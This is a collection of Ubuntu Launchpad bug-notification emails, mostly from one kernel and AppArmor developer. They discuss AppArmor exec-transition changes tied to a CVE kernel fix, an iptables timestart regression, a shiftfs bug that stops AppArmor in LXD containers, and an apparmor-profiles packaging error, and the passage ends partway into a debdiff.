[Touch-packages] [Bug 1830802] [NEW] AppArmor profile transition changes required by Linux kernel fix for CVE-2019-11190

[Tyler Hicks]

Public bug reported:

[Impact]

* As discussed in bug #1628745, the following kernel commit changes
  AppArmor mediation behavior on exec transitions:

   commit 9f834ec18defc369d73ccf9e87a2790bfa05bf46
   Author: Linus Torvalds 
   Date: Mon Aug 22 16:41:46 2016 -0700

   binfmt_elf: switch to new creds when switching to new mm

* This change made its way into the Xenial kernel that's currently in
  xenial-proposed (4.4.0-149.175-generic) as it fixes CVE-2019-11190.

* jdstrand identified a couple missing fixes that are needed from the
  AppArmor tree:

  d8278f51ecb3c736d697fa367faf99457210a7d8
  7a49f37c2481f761f8304712aa380acddfdb6303

[Test Case]

TODO

[Regression Potential]

The dnsmasq profile change adds permissions to the child profile.
There's really no change of regression involved there.

The aa.py change adds the 'm' permission to the allowed permissions of a
binary on ix transitions. While there is a code change involved, it is a
small change and the resulting profile output involved no risk of
regression.

** Affects: apparmor (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1830802

Title:
  AppArmor profile transition changes required by Linux kernel fix for
  CVE-2019-11190

Status in apparmor package in Ubuntu:
  New

Bug description:
  [Impact]

  * As discussed in bug #1628745, the following kernel commit changes
AppArmor mediation behavior on exec transitions:

 commit 9f834ec18defc369d73ccf9e87a2790bfa05bf46
 Author: Linus Torvalds 
 Date: Mon Aug 22 16:41:46 2016 -0700

 binfmt_elf: switch to new creds when switching to new mm

  * This change made its way into the Xenial kernel that's currently in
xenial-proposed (4.4.0-149.175-generic) as it fixes CVE-2019-11190.

  * jdstrand identified a couple missing fixes that are needed from the
AppArmor tree:

d8278f51ecb3c736d697fa367faf99457210a7d8
7a49f37c2481f761f8304712aa380acddfdb6303

  [Test Case]

  TODO

  [Regression Potential]

  The dnsmasq profile change adds permissions to the child profile.
  There's really no change of regression involved there.

  The aa.py change adds the 'm' permission to the allowed permissions of a
  binary on ix transitions. While there is a code change involved, it is a
  small change and the resulting profile output involved no risk of
  regression.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1830802/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1827040] Re: Misbehaviour of iptables 'timestart' parameter in Ubuntu 19.04

[Tyler Hicks]

Hello Peret - To test the kernel that I built, you need to install the
linux-modules, linux-modules-extra and linux-image-unsigned .deb
packages and then reboot. After rebooting, run 'cat
/proc/version_signature' and ensure that "lp1827040.1" is included in
the output. Then try your iptables timestart rules to see if they work
as expected.

Additionally, could you include an example timestart rule that you have?
I could also test it locally. Thanks!

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to iptables in Ubuntu.
https://bugs.launchpad.net/bugs/1827040

Title:
  Misbehaviour of iptables 'timestart' parameter in Ubuntu 19.04

Status in iptables package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I have detected that iptables does not behave in the same way as with 
previous kernel.
  Old behaviour:
  'timestart' referred to the absolute time (UTC or whatever) to start applying 
the rul
  New behaviour: 
  'timestart' refers to the offset since boot start

  It implies a migration of the old rules, and it is difficult to keep 
compatibility, as the offset is complex to behave as an absolute time.
  Is that expected? Man page suggests that the correct behaviour is the old one

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/iptables/+bug/1827040/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1827040] Re: Misbehaviour of iptables 'timestart' parameter in Ubuntu 19.04

[Tyler Hicks]

Hi Peret - Thanks for the bug report. I was browsing through the kernel
commit log and I think this bug may already be fixed by the following
commit:

 commit 916f6efae62305796e012e7c3a7884a267cbacbf
 Author: Florian Westphal 
 Date:   Wed Apr 17 02:17:23 2019 +0200

 netfilter: never get/set skb->tstamp

 https://git.kernel.org/linus/916f6efae62305796e012e7c3a7884a267cbacbf

I've built a test kernel that is 5.0.0-13.14 plus that patch. Would you
be able to test it? You can find it here:

 https://people.canonical.com/~tyhicks/lp1827040/

Thanks again!

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to iptables in Ubuntu.
https://bugs.launchpad.net/bugs/1827040

Title:
  Misbehaviour of iptables 'timestart' parameter in Ubuntu 19.04

Status in iptables package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I have detected that iptables does not behave in the same way as with 
previous kernel.
  Old behaviour:
  'timestart' referred to the absolute time (UTC or whatever) to start applying 
the rul
  New behaviour: 
  'timestart' refers to the offset since boot start

  It implies a migration of the old rules, and it is difficult to keep 
compatibility, as the offset is complex to behave as an absolute time.
  Is that expected? Man page suggests that the correct behaviour is the old one

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/iptables/+bug/1827040/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1824812] Re: apparmor does not start in Disco LXD containers

[Tyler Hicks]

When running a test kernel with Christian's patch, the dir-seek test
case passes:

 $ ./dir-seek
 PASS: orig_count (9) == new_count (9)

Unfortunately, I can't be sure that apparmor policy is loaded correctly
when creating a new LXD container due to the apparmor portion of this
bug report. However, I was able to verify that I can use apparmor_parser
as expected and, after manually doing the SFS_MOUNTPOINT fix in the
apparmor init script, that policy is loaded during container boot.

** Changed in: linux (Ubuntu)
 Assignee: John Johansen (jjohansen) => Christian Brauner (cbrauner)

** Changed in: linux (Ubuntu)
   Status: Confirmed => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1824812

Title:
  apparmor does not start in Disco LXD containers

Status in AppArmor:
  Triaged
Status in apparmor package in Ubuntu:
  In Progress
Status in libvirt package in Ubuntu:
  Invalid
Status in linux package in Ubuntu:
  In Progress

Bug description:
  In LXD apparmor now skips starting.

  Steps to reproduce:
  1. start LXD container
    $ lxc launch ubuntu-daily:d d-testapparmor
    (disco to trigger the issue, cosmic as reference)
  2. check the default profiles loaded
    $ aa-status

  => This will in cosmic and up to recently disco list plenty of profiles 
active even in the default install.
  Cosmic:
    25 profiles are loaded.
    25 profiles are in enforce mode.
  Disco:
    15 profiles are loaded.
    15 profiles are in enforce mode.

  All those 15 remaining are from snaps.
  The service of apparmor.service actually states that it refuses to start.

  $ systemctl status apparmor
  ...
  Apr 15 13:56:12 testkvm-disco-to apparmor.systemd[101]: Not starting AppArmor 
in container

  I can get those profiles (the default installed ones) loaded, for example:
    $ sudo apparmor_parser -r /etc/apparmor.d/sbin.dhclient
  makes it appear
    22 profiles are in enforce mode.
     /sbin/dhclient

  I was wondering as in my case I found my guest with no (=0) profiles loaded. 
But as shown above after "apparmor_parser -r" and package install profiles 
seemed fine. Then the puzzle was solved, on package install they
  will call apparmor_parser via the dh_apparmor snippet and it is fine.

  To fully disable all of them:
$ lxc stop 
$ lxc start 
$ lxc exec d-testapparmor aa-status
  apparmor module is loaded.
  0 profiles are loaded.
  0 profiles are in enforce mode.
  0 profiles are in complain mode.
  0 processes have profiles defined.
  0 processes are in enforce mode.
  0 processes are in complain mode.
  0 processes are unconfined but have a profile defined.

  That would match the service doing an early exit as shown in systemctl
  status output above. The package install or manual load works, but
  none are loaded by the service automatically e.g. on container
  restart.

  --- --- ---

  This bug started as:
  Migrations to Disco trigger "Unable to find security driver for model 
apparmor"

  This most likely is related to my KVM-in-LXD setup but it worked fine
  for years and I'd like to sort out what broke. I have migrated to
  Disco's qemu 3.1 already which makes me doubts generic issues in qemu
  3.1 in general.

  The virt tests that run cross release work fine starting from X/B/C but all 
those chains fail at mirgating to Disco now with:
    $ lxc exec testkvm-cosmic-from -- virsh migrate --unsafe --live 
kvmguest-bionic-normal
    qemu+ssh://10.21.151.207/system
    error: unsupported configuration: Unable to find security driver for model 
apparmor

  I need to analyze what changed

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1824812/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1824812] Re: apparmor does not start in Disco LXD containers

[Tyler Hicks]

I was able to narrow down this apparmor_parser error to shiftfs:

AppArmor parser error for /etc/apparmor.d/sbin.dhclient in
/etc/apparmor.d/tunables/home at line 25: Could not process include
directory '/etc/apparmor.d/tunables/home.d' in 'tunables/home.d'

The problem stems from shiftfs not handling this sequence:

 getdents()
  lseek() to reset the f_pos to 0
   getdents()

I'm attaching a test case for this issue, called dir-seek.c.

When ran on a non-shiftfs filesystem, you'll see something like this:

 $ ./dir-seek 
 PASS: orig_count (29) == new_count (29)

When you run the test case on shiftfs, you'll see something like this:

 $ ./dir-seek 
 FAIL: orig_count (29) != new_count (0)

The f_pos of the directory file is not properly tracked/reset on
shiftfs.

** Attachment added: "dir-seek.c"
   
https://bugs.launchpad.net/ubuntu/+source/libvirt/+bug/1824812/+attachment/5256075/+files/dir-seek.c

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1824812

Title:
  apparmor does not start in Disco LXD containers

Status in AppArmor:
  Triaged
Status in apparmor package in Ubuntu:
  In Progress
Status in libvirt package in Ubuntu:
  Invalid
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  In LXD apparmor now skips starting.

  Steps to reproduce:
  1. start LXD container
    $ lxc launch ubuntu-daily:d d-testapparmor
    (disco to trigger the issue, cosmic as reference)
  2. check the default profiles loaded
    $ aa-status

  => This will in cosmic and up to recently disco list plenty of profiles 
active even in the default install.
  Cosmic:
    25 profiles are loaded.
    25 profiles are in enforce mode.
  Disco:
    15 profiles are loaded.
    15 profiles are in enforce mode.

  All those 15 remaining are from snaps.
  The service of apparmor.service actually states that it refuses to start.

  $ systemctl status apparmor
  ...
  Apr 15 13:56:12 testkvm-disco-to apparmor.systemd[101]: Not starting AppArmor 
in container

  I can get those profiles (the default installed ones) loaded, for example:
    $ sudo apparmor_parser -r /etc/apparmor.d/sbin.dhclient
  makes it appear
    22 profiles are in enforce mode.
     /sbin/dhclient

  I was wondering as in my case I found my guest with no (=0) profiles loaded. 
But as shown above after "apparmor_parser -r" and package install profiles 
seemed fine. Then the puzzle was solved, on package install they
  will call apparmor_parser via the dh_apparmor snippet and it is fine.

  To fully disable all of them:
$ lxc stop 
$ lxc start 
$ lxc exec d-testapparmor aa-status
  apparmor module is loaded.
  0 profiles are loaded.
  0 profiles are in enforce mode.
  0 profiles are in complain mode.
  0 processes have profiles defined.
  0 processes are in enforce mode.
  0 processes are in complain mode.
  0 processes are unconfined but have a profile defined.

  That would match the service doing an early exit as shown in systemctl
  status output above. The package install or manual load works, but
  none are loaded by the service automatically e.g. on container
  restart.

  --- --- ---

  This bug started as:
  Migrations to Disco trigger "Unable to find security driver for model 
apparmor"

  This most likely is related to my KVM-in-LXD setup but it worked fine
  for years and I'd like to sort out what broke. I have migrated to
  Disco's qemu 3.1 already which makes me doubts generic issues in qemu
  3.1 in general.

  The virt tests that run cross release work fine starting from X/B/C but all 
those chains fail at mirgating to Disco now with:
    $ lxc exec testkvm-cosmic-from -- virsh migrate --unsafe --live 
kvmguest-bionic-normal
    qemu+ssh://10.21.151.207/system
    error: unsupported configuration: Unable to find security driver for model 
apparmor

  I need to analyze what changed

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1824812/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1824812] Re: apparmor does not start in Disco LXD containers

[Tyler Hicks]

I noticed that confinement inside of LXD containers works fine when
shiftfs is disabled:

$ sudo rmmod shiftfs
$ sudo mv /lib/modules/5.0.0-11-generic/kernel/fs/shiftfs.ko .
$ sudo systemctl restart snap.lxd.daemon 
$ lxc launch ubuntu-daily:d noshift
Creating noshift
Starting noshift

# Now log in to the container and fix the apparmor init script bug
# around SFS_MOUNTPOINT by modifying /lib/apparmor/rc.apparmor.functions
# to define SFS_MOUNTPOINT="${SECURITYFS}/${MODULE}" at the top of
# is_container_with_internal_policy()

$ lxc exec noshift -- sh -x /lib/apparmor/apparmor.systemd reload
$ lxc exec noshift -- aa-status
apparmor module is loaded.
27 profiles are loaded.
27 profiles are in enforce mode.
   /sbin/dhclient
   /snap/core/6673/usr/lib/snapd/snap-confine
   /snap/core/6673/usr/lib/snapd/snap-confine//mount-namespace-capture-helper
   /usr/bin/man
   /usr/lib/NetworkManager/nm-dhcp-client.action
   /usr/lib/NetworkManager/nm-dhcp-helper
   /usr/lib/connman/scripts/dhclient-script
   /usr/lib/snapd/snap-confine
   /usr/lib/snapd/snap-confine//mount-namespace-capture-helper
   /usr/sbin/tcpdump
   man_filter
   man_groff
   nvidia_modprobe
   nvidia_modprobe//kmod
   snap-update-ns.core
   snap-update-ns.lxd
   snap.core.hook.configure
   snap.lxd.activate
   snap.lxd.benchmark
   snap.lxd.buginfo
   snap.lxd.check-kernel
   snap.lxd.daemon
   snap.lxd.hook.configure
   snap.lxd.hook.install
   snap.lxd.lxc
   snap.lxd.lxd
   snap.lxd.migrate
0 profiles are in complain mode.
0 processes have profiles defined.
0 processes are in enforce mode.
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1824812

Title:
  apparmor does not start in Disco LXD containers

Status in AppArmor:
  Triaged
Status in apparmor package in Ubuntu:
  In Progress
Status in libvirt package in Ubuntu:
  Invalid
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  In LXD apparmor now skips starting.

  Steps to reproduce:
  1. start LXD container
    $ lxc launch ubuntu-daily:d d-testapparmor
    (disco to trigger the issue, cosmic as reference)
  2. check the default profiles loaded
    $ aa-status

  => This will in cosmic and up to recently disco list plenty of profiles 
active even in the default install.
  Cosmic:
    25 profiles are loaded.
    25 profiles are in enforce mode.
  Disco:
    15 profiles are loaded.
    15 profiles are in enforce mode.

  All those 15 remaining are from snaps.
  The service of apparmor.service actually states that it refuses to start.

  $ systemctl status apparmor
  ...
  Apr 15 13:56:12 testkvm-disco-to apparmor.systemd[101]: Not starting AppArmor 
in container

  I can get those profiles (the default installed ones) loaded, for example:
    $ sudo apparmor_parser -r /etc/apparmor.d/sbin.dhclient
  makes it appear
    22 profiles are in enforce mode.
     /sbin/dhclient

  I was wondering as in my case I found my guest with no (=0) profiles loaded. 
But as shown above after "apparmor_parser -r" and package install profiles 
seemed fine. Then the puzzle was solved, on package install they
  will call apparmor_parser via the dh_apparmor snippet and it is fine.

  To fully disable all of them:
$ lxc stop 
$ lxc start 
$ lxc exec d-testapparmor aa-status
  apparmor module is loaded.
  0 profiles are loaded.
  0 profiles are in enforce mode.
  0 profiles are in complain mode.
  0 processes have profiles defined.
  0 processes are in enforce mode.
  0 processes are in complain mode.
  0 processes are unconfined but have a profile defined.

  That would match the service doing an early exit as shown in systemctl
  status output above. The package install or manual load works, but
  none are loaded by the service automatically e.g. on container
  restart.

  --- --- ---

  This bug started as:
  Migrations to Disco trigger "Unable to find security driver for model 
apparmor"

  This most likely is related to my KVM-in-LXD setup but it worked fine
  for years and I'd like to sort out what broke. I have migrated to
  Disco's qemu 3.1 already which makes me doubts generic issues in qemu
  3.1 in general.

  The virt tests that run cross release work fine starting from X/B/C but all 
those chains fail at mirgating to Disco now with:
    $ lxc exec testkvm-cosmic-from -- virsh migrate --unsafe --live 
kvmguest-bionic-normal
    qemu+ssh://10.21.151.207/system
    error: unsupported configuration: Unable to find security driver for model 
apparmor

  I need to analyze what changed

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1824812/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages

[Touch-packages] [Bug 1821920] Re: apparmor-profiles installs the chromium-browser profile but not the abstraction

[Tyler Hicks]

Jamie said that he'd pull in the postinst snippet and include that
change in an upload that he's already preparing.

** Changed in: apparmor (Ubuntu)
   Status: New => In Progress

** Changed in: apparmor (Ubuntu)
 Assignee: (unassigned) => Jamie Strandboge (jdstrand)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1821920

Title:
  apparmor-profiles installs the chromium-browser profile but not the
  abstraction

Status in apparmor package in Ubuntu:
  In Progress

Bug description:
  The apparmor-profiles binary package from apparmor 2.13.2-9ubuntu2 in
  disco-proposed is not handling the chromium-browser profile and
  abstraction correctly. It installs the profile but not the abstraction
  which makes profile loading fail.

  $ sudo apt install apparmor-profiles/disco-proposed
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  Selected version '2.13.2-9ubuntu2' (Ubuntu:19.04/disco-proposed [all]) for 
'apparmor-profiles'
  The following NEW packages will be installed:
apparmor-profiles
  0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
  Need to get 32.5 kB of archives.
  After this operation, 353 kB of additional disk space will be used.
  Get:1 http://archive.ubuntu.com/ubuntu disco-proposed/main amd64 
apparmor-profiles all
   2.13.2-9ubuntu2 [32.5 kB]
  Fetched 32.5 kB in 0s (95.3 kB/s)  
  Selecting previously unselected package apparmor-profiles.
  (Reading database ... 119746 files and directories currently installed.)
  Preparing to unpack .../apparmor-profiles_2.13.2-9ubuntu2_all.deb ...
  Unpacking apparmor-profiles (2.13.2-9ubuntu2) ...
  Setting up apparmor-profiles (2.13.2-9ubuntu2) ...
  AppArmor parser error for /etc/apparmor.d/usr.bin.chromium-browser in 
/etc/apparmor.d/
  usr.bin.chromium-browser at line 20: Could not open 
'abstractions/ubuntu-browsers.d/chromium-browser'

  This makes the apparmor service fail to start:

  $ sudo service apparmor restart
  Job for apparmor.service failed because the control process exited with error 
code.
  See "systemctl status apparmor.service" and "journalctl -xe" for details.

  
  $ systemctl status apparmor.service | cat
  ● apparmor.service - Load AppArmor profiles
 Loaded: loaded (/lib/systemd/system/apparmor.service; enabled; vendor 
preset: enabled)
 Active: failed (Result: exit-code) since Wed 2019-03-27 13:05:37 UTC; 41s 
ago
   Docs: man:apparmor(7)
 https://gitlab.com/apparmor/apparmor/wikis/home/
Process: 5103 ExecStart=/lib/apparmor/apparmor.systemd reload (code=exited, 
status=1/FAILURE)
   Main PID: 5103 (code=exited, status=1/FAILURE)

  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Restarting AppArmor
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Reloading AppArmor 
profiles
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: AppArmor parser error 
for /etc/apparmor.d in /etc/apparmor.d/usr.bin.chromium-browser at line 20: 
Could not open 'abstractions/ubuntu-browsers.d/chromium-browser'
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Skipping profile in 
/etc/apparmor.d/disable: usr.sbin.rsyslogd
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: AppArmor parser error 
for /etc/apparmor.d/usr.bin.chromium-browser in 
/etc/apparmor.d/usr.bin.chromium-browser at line 20: Could not open 
'abstractions/ubuntu-browsers.d/chromium-browser'
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Skipping profile in 
/etc/apparmor.d/disable: usr.sbin.rsyslogd
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Error: At least one 
profile failed to load
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: apparmor.service: Main process 
exited, code=exited, status=1/FAILURE
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: apparmor.service: Failed with 
result 'exit-code'.
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: Failed to start Load AppArmor 
profiles.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1821920/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1821920] Re: apparmor-profiles installs the chromium-browser profile but not the abstraction

[Tyler Hicks]

It looks like the change mentioned in the above comment came from
Debian. Here's the commit:

  https://salsa.debian.org/apparmor-
team/apparmor/commit/dc14f24b2c2943c29d0368f913020f1307d8f1d3

They obviously don't have  so they
opted to remove that logic from the postinst. I think we should have
kept it during our merge.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1821920

Title:
  apparmor-profiles installs the chromium-browser profile but not the
  abstraction

Status in apparmor package in Ubuntu:
  New

Bug description:
  The apparmor-profiles binary package from apparmor 2.13.2-9ubuntu2 in
  disco-proposed is not handling the chromium-browser profile and
  abstraction correctly. It installs the profile but not the abstraction
  which makes profile loading fail.

  $ sudo apt install apparmor-profiles/disco-proposed
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  Selected version '2.13.2-9ubuntu2' (Ubuntu:19.04/disco-proposed [all]) for 
'apparmor-profiles'
  The following NEW packages will be installed:
apparmor-profiles
  0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
  Need to get 32.5 kB of archives.
  After this operation, 353 kB of additional disk space will be used.
  Get:1 http://archive.ubuntu.com/ubuntu disco-proposed/main amd64 
apparmor-profiles all
   2.13.2-9ubuntu2 [32.5 kB]
  Fetched 32.5 kB in 0s (95.3 kB/s)  
  Selecting previously unselected package apparmor-profiles.
  (Reading database ... 119746 files and directories currently installed.)
  Preparing to unpack .../apparmor-profiles_2.13.2-9ubuntu2_all.deb ...
  Unpacking apparmor-profiles (2.13.2-9ubuntu2) ...
  Setting up apparmor-profiles (2.13.2-9ubuntu2) ...
  AppArmor parser error for /etc/apparmor.d/usr.bin.chromium-browser in 
/etc/apparmor.d/
  usr.bin.chromium-browser at line 20: Could not open 
'abstractions/ubuntu-browsers.d/chromium-browser'

  This makes the apparmor service fail to start:

  $ sudo service apparmor restart
  Job for apparmor.service failed because the control process exited with error 
code.
  See "systemctl status apparmor.service" and "journalctl -xe" for details.

  
  $ systemctl status apparmor.service | cat
  ● apparmor.service - Load AppArmor profiles
 Loaded: loaded (/lib/systemd/system/apparmor.service; enabled; vendor 
preset: enabled)
 Active: failed (Result: exit-code) since Wed 2019-03-27 13:05:37 UTC; 41s 
ago
   Docs: man:apparmor(7)
 https://gitlab.com/apparmor/apparmor/wikis/home/
Process: 5103 ExecStart=/lib/apparmor/apparmor.systemd reload (code=exited, 
status=1/FAILURE)
   Main PID: 5103 (code=exited, status=1/FAILURE)

  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Restarting AppArmor
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Reloading AppArmor 
profiles
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: AppArmor parser error 
for /etc/apparmor.d in /etc/apparmor.d/usr.bin.chromium-browser at line 20: 
Could not open 'abstractions/ubuntu-browsers.d/chromium-browser'
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Skipping profile in 
/etc/apparmor.d/disable: usr.sbin.rsyslogd
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: AppArmor parser error 
for /etc/apparmor.d/usr.bin.chromium-browser in 
/etc/apparmor.d/usr.bin.chromium-browser at line 20: Could not open 
'abstractions/ubuntu-browsers.d/chromium-browser'
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Skipping profile in 
/etc/apparmor.d/disable: usr.sbin.rsyslogd
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Error: At least one 
profile failed to load
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: apparmor.service: Main process 
exited, code=exited, status=1/FAILURE
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: apparmor.service: Failed with 
result 'exit-code'.
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: Failed to start Load AppArmor 
profiles.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1821920/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1821920] Re: apparmor-profiles installs the chromium-browser profile but not the abstraction

[Tyler Hicks]

This failure was noticed by the kernel team as it makes the kernel
autopkgtests to fail while running QRT's test-apparmor.py.

** Changed in: apparmor (Ubuntu)
   Importance: Undecided => High

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1821920

Title:
  apparmor-profiles installs the chromium-browser profile but not the
  abstraction

Status in apparmor package in Ubuntu:
  New

Bug description:
  The apparmor-profiles binary package from apparmor 2.13.2-9ubuntu2 in
  disco-proposed is not handling the chromium-browser profile and
  abstraction correctly. It installs the profile but not the abstraction
  which makes profile loading fail.

  $ sudo apt install apparmor-profiles/disco-proposed
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  Selected version '2.13.2-9ubuntu2' (Ubuntu:19.04/disco-proposed [all]) for 
'apparmor-profiles'
  The following NEW packages will be installed:
apparmor-profiles
  0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
  Need to get 32.5 kB of archives.
  After this operation, 353 kB of additional disk space will be used.
  Get:1 http://archive.ubuntu.com/ubuntu disco-proposed/main amd64 
apparmor-profiles all
   2.13.2-9ubuntu2 [32.5 kB]
  Fetched 32.5 kB in 0s (95.3 kB/s)  
  Selecting previously unselected package apparmor-profiles.
  (Reading database ... 119746 files and directories currently installed.)
  Preparing to unpack .../apparmor-profiles_2.13.2-9ubuntu2_all.deb ...
  Unpacking apparmor-profiles (2.13.2-9ubuntu2) ...
  Setting up apparmor-profiles (2.13.2-9ubuntu2) ...
  AppArmor parser error for /etc/apparmor.d/usr.bin.chromium-browser in 
/etc/apparmor.d/
  usr.bin.chromium-browser at line 20: Could not open 
'abstractions/ubuntu-browsers.d/chromium-browser'

  This makes the apparmor service fail to start:

  $ sudo service apparmor restart
  Job for apparmor.service failed because the control process exited with error 
code.
  See "systemctl status apparmor.service" and "journalctl -xe" for details.

  
  $ systemctl status apparmor.service | cat
  ● apparmor.service - Load AppArmor profiles
 Loaded: loaded (/lib/systemd/system/apparmor.service; enabled; vendor 
preset: enabled)
 Active: failed (Result: exit-code) since Wed 2019-03-27 13:05:37 UTC; 41s 
ago
   Docs: man:apparmor(7)
 https://gitlab.com/apparmor/apparmor/wikis/home/
Process: 5103 ExecStart=/lib/apparmor/apparmor.systemd reload (code=exited, 
status=1/FAILURE)
   Main PID: 5103 (code=exited, status=1/FAILURE)

  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Restarting AppArmor
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Reloading AppArmor 
profiles
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: AppArmor parser error 
for /etc/apparmor.d in /etc/apparmor.d/usr.bin.chromium-browser at line 20: 
Could not open 'abstractions/ubuntu-browsers.d/chromium-browser'
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Skipping profile in 
/etc/apparmor.d/disable: usr.sbin.rsyslogd
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: AppArmor parser error 
for /etc/apparmor.d/usr.bin.chromium-browser in 
/etc/apparmor.d/usr.bin.chromium-browser at line 20: Could not open 
'abstractions/ubuntu-browsers.d/chromium-browser'
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Skipping profile in 
/etc/apparmor.d/disable: usr.sbin.rsyslogd
  Mar 27 13:05:37 sec-disco-amd64 apparmor.systemd[5103]: Error: At least one 
profile failed to load
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: apparmor.service: Main process 
exited, code=exited, status=1/FAILURE
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: apparmor.service: Failed with 
result 'exit-code'.
  Mar 27 13:05:37 sec-disco-amd64 systemd[1]: Failed to start Load AppArmor 
profiles.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1821920/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1821920] Re: apparmor-profiles installs the chromium-browser profile but not the abstraction

[Tyler Hicks]

I see this change in the debdiff from the last apparmor upload to what's
currently in proposed:

diff -Nru apparmor-2.12/debian/apparmor-profiles.postinst 
apparmor-2.13.2/debian/apparmor-profiles.postinst
--- apparmor-2.12/debian/apparmor-profiles.postinst 2018-03-22 
20:19:58.0 +
+++ apparmor-2.13.2/debian/apparmor-profiles.postinst   2019-02-25 
06:10:18.0 +
